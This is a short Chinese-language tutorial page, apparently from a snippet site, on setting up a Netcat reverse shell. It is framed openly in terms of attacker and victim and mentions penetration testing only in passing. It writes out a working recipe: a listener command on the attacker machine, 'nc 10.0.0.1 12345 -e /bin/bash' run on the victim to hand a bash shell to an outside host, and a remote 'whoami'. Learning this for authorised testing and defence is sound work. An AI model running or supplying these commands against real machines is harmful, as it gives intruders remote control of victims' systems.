📜  netcat 反向 shell - Shell-Bash (1)

📅  最后修改于: 2023-12-03 15:03:09.731000             🧑  作者: Mango

Netcat 反向 Shell - Shell-Bash

Netcat 是一款很受欢迎的网络工具,它可以用于 TCP/UDP 连接、端口扫描以及数据传输。在网络安全领域,Netcat 经常被用来作为攻击者与受害者之间的通信工具。

这里介绍 Netcat 的一种常见用法:反向 Shell。所谓反向 Shell,就是指攻击者通过在受害者机器上运行 Netcat,然后建立到攻击者机器的连接,使得攻击者可以在自己的终端中执行 Shell 命令,从而在受害者机器上执行任意操作。

为什么要使用反向 Shell

在渗透测试和攻击中,攻击者经常需要在受害者机器上执行某些命令或上传/下载文件等操作,但是由于防火墙或其他安全机制的限制,通常无法在受害者机器上直接监听端口。此时可以通过反向 Shell 实现目标。

在建立反向 Shell 连接时,攻击者首先要在自己的机器上监听一个端口,然后在受害者机器中执行相应的命令,将数据发送给攻击者机器,攻击者可以在自己机器的终端中接收并执行受害者发送来的命令。

如何建立反向 Shell 连接

下面是在 Linux 终端中建立反向 Shell 连接的示例,假设攻击者机器的 IP 地址为10.0.0.1,需要监听的端口为12345

  1. 在攻击者机器上开放一个监听端口

    nc -lvp 12345
    

    这条命令表示在攻击者机器上开启一个监听端口,等待受害者机器的连接。

  2. 在受害者机器上执行以下命令

    nc 10.0.0.1 12345 -e /bin/bash
    

    这条命令表示在受害者机器上启动一个 Netcat 进程,并连接到攻击者机器的 IP 地址10.0.0.1和端口12345。参数-e /bin/bash表示要在受害者机器上执行/bin/bash命令,并将其输出发送到攻击者机器上。

  3. 在攻击者机器的终端中执行命令

    whoami
    

    这条命令将在受害者机器上执行,并将其输出显示在攻击者机器上。

    ```bash
    nc -lvp 12345
    
    nc 10.0.0.1 12345 -e /bin/bash
    
    whoami